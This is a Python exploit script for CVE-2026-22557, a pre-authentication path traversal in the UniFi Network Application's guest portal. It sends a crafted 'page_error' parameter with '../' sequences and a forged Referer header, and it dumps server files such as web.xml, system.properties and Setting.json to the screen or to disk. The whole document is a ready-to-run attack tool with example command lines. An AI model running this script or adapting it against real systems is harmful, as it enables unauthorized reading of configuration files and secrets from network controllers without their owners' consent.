#!/usr/bin/env python3 """CVE-2026-22557 - UniFi Network Application Pre-Auth Path Traversal""" import argparse import sys import urllib3 import requests from urllib.parse import urlparse urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) DEFAULT_FILE = "../../web.xml" DEFAULT_GUEST_PATH = "/guest/s/default/login" def build_referer(target_url, guest_path): parsed = urlparse(target_url) base = guest_path.rsplit("/login", 1)[0] return ( f"http://{parsed.hostname}:{parsed.port or 80}{base}/" f"?id=aa:bb:cc:dd:ee:ff&ap=00:11:22:33:44:55" f"&ssid=test&url=http://example.com" ) def exploit(target_url, file_path, guest_path, proxy=None, output=None): url = f"{target_url.rstrip('/')}{guest_path}" params = {"page_error": file_path} headers = {"Referer": build_referer(target_url, guest_path)} proxies = {"http": proxy, "https": proxy} if proxy else None print(f"[*] Target: {url}") print(f"[*] File: {file_path}") if proxy: print(f"[*] Proxy: {proxy}") print() try: resp = requests.get(url, params=params, headers=headers, verify=False, timeout=10, proxies=proxies, allow_redirects=False) except requests.exceptions.ConnectionError as e: print(f"[-] Connection failed: {e}") return False if resp.status_code in (301, 302, 303, 307, 308): print(f"[-] HTTP {resp.status_code} -> {resp.headers.get('Location', '?')}") print(" Site name may be wrong or guest portal not reachable.") return False if resp.status_code != 200: print(f"[-] HTTP {resp.status_code}") return False body = resp.text if "normalized to [null]" in body or not body.strip(): print("[-] Path blocked by Tomcat normalisation (too many ../)") return False if output: with open(output, "wb") as f: f.write(resp.content) print(f"[+] Saved {len(resp.content)} bytes to {output}") else: print(f"[+] Response ({len(resp.content)} bytes):\n") sys.stdout.buffer.write(resp.content) if not resp.content.endswith(b"\n"): print() return True def main(): parser = argparse.ArgumentParser( description="CVE-2026-22557 - UniFi Network Application Pre-Auth Path Traversal", formatter_class=argparse.RawDescriptionHelpFormatter, epilog="""\ examples: %(prog)s https://192.168.1.1:8843 %(prog)s http://192.168.1.1:8880 %(prog)s https://192.168.1.1:8843 -f ../system.properties %(prog)s https://192.168.1.1:8843 -f ../api/fields/Setting.json -o setting.json %(prog)s https://192.168.1.1:8843 -g /guest/s/mysite/login %(prog)s https://192.168.1.1:8843 -x http://127.0.0.1:8080 """, ) parser.add_argument("target", help="target URL (e.g. https://192.168.1.1:8843)") parser.add_argument("-f", "--file", default=DEFAULT_FILE, help=f"relative path to read (default: {DEFAULT_FILE})") parser.add_argument("-g", "--guest-path", default=DEFAULT_GUEST_PATH, help=f"guest portal path (default: {DEFAULT_GUEST_PATH})") parser.add_argument("-o", "--output", help="save response to file instead of stdout") parser.add_argument("-x", "--proxy", help="proxy URL (e.g. http://127.0.0.1:8080)") args = parser.parse_args() target = args.target if "://" not in target: target = f"https://{target}" ok = exploit(target, args.file, args.guest_path, args.proxy, args.output) sys.exit(0 if ok else 1) if __name__ == "__main__": main()